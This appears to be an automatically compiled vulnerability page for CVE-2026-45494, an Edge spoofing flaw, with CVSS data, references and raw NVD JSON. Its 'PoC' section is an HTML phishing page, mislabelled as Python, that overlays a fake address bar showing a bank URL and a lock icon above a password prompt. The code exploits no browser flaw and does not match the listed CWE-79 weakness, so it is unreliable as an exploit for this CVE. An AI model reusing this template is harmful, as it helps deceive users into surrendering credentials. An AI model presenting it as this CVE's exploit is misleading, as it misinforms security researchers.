CVE-2026-45494

Description

Microsoft Edge (Chromium-based) Spoofing Vulnerability

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:microsoft:edge_chromium:*:*:*:*:-:*:*:* - VULNERABLE

Microsoft Edge (Chromium-based) (具体受影响版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  PoC Concept for UI Spoofing in Microsoft Edge (Chromium-based)
  This code demonstrates how to create a fake address bar overlay.
  Note: This is for educational purposes only.
-->
<html>
<head>
    <style>
        body { margin: 0; padding: 0; background-color: #fff; font-family: Arial, sans-serif; }
        /* Simulate the fake address bar */
        .fake-address-bar {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 30px;
            background-color: #f1f3f4;
            border-bottom: 1px solid #ccc;
            display: flex;
            align-items: center;
            padding: 0 10px;
            box-shadow: 0 2px 4px rgba(0,0,0,0.1);
            z-index: 9999;
        }
        .fake-url {
            background-color: #fff;
            border-radius: 15px;
            padding: 2px 15px;
            flex-grow: 1;
            margin-left: 10px;
            font-size: 12px;
            color: #202124;
            text-align: center;
        }
        .content {
            margin-top: 40px;
            padding: 20px;
            text-align: center;
        }
    </style>
</head>
<body>
    <!-- Fake UI Element -->
    <div class="fake-address-bar">
        <span style="color: #5f6368;">🔒</span>
        <div class="fake-url">https://www.trusted-bank.com/login</div>
    </div>

    <!-- Phishing Content -->
    <div class="content">
        <h1>Security Check Required</h1>
        <p>Please re-enter your password to continue.</p>
        <input type="password" placeholder="Password" style="padding: 10px; width: 200px;">
        <br><br>
        <button style="padding: 10px 20px;">Submit</button>
    </div>

    <script>
        // Logic to capture interaction could go here
        console.log('Spoofing PoC loaded');
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-45494
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-45494
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-45494/
[4] VulDB https://vuldb.com/cve/CVE-2026-45494
[5] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45494

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-45494", "sourceIdentifier": "[email protected]", "published": "2026-05-18T18:17:38.390", "lastModified": "2026-05-19T15:06:38.277", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Microsoft Edge (Chromium-based) Spoofing Vulnerability"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:edge_chromium:*:*:*:*:-:*:*:*", "versionEndExcluding": "148.0.3967.70", "matchCriteriaId": "219AF9F0-FF7A-42E6-82A9-6D4D23FE0655"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45494", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}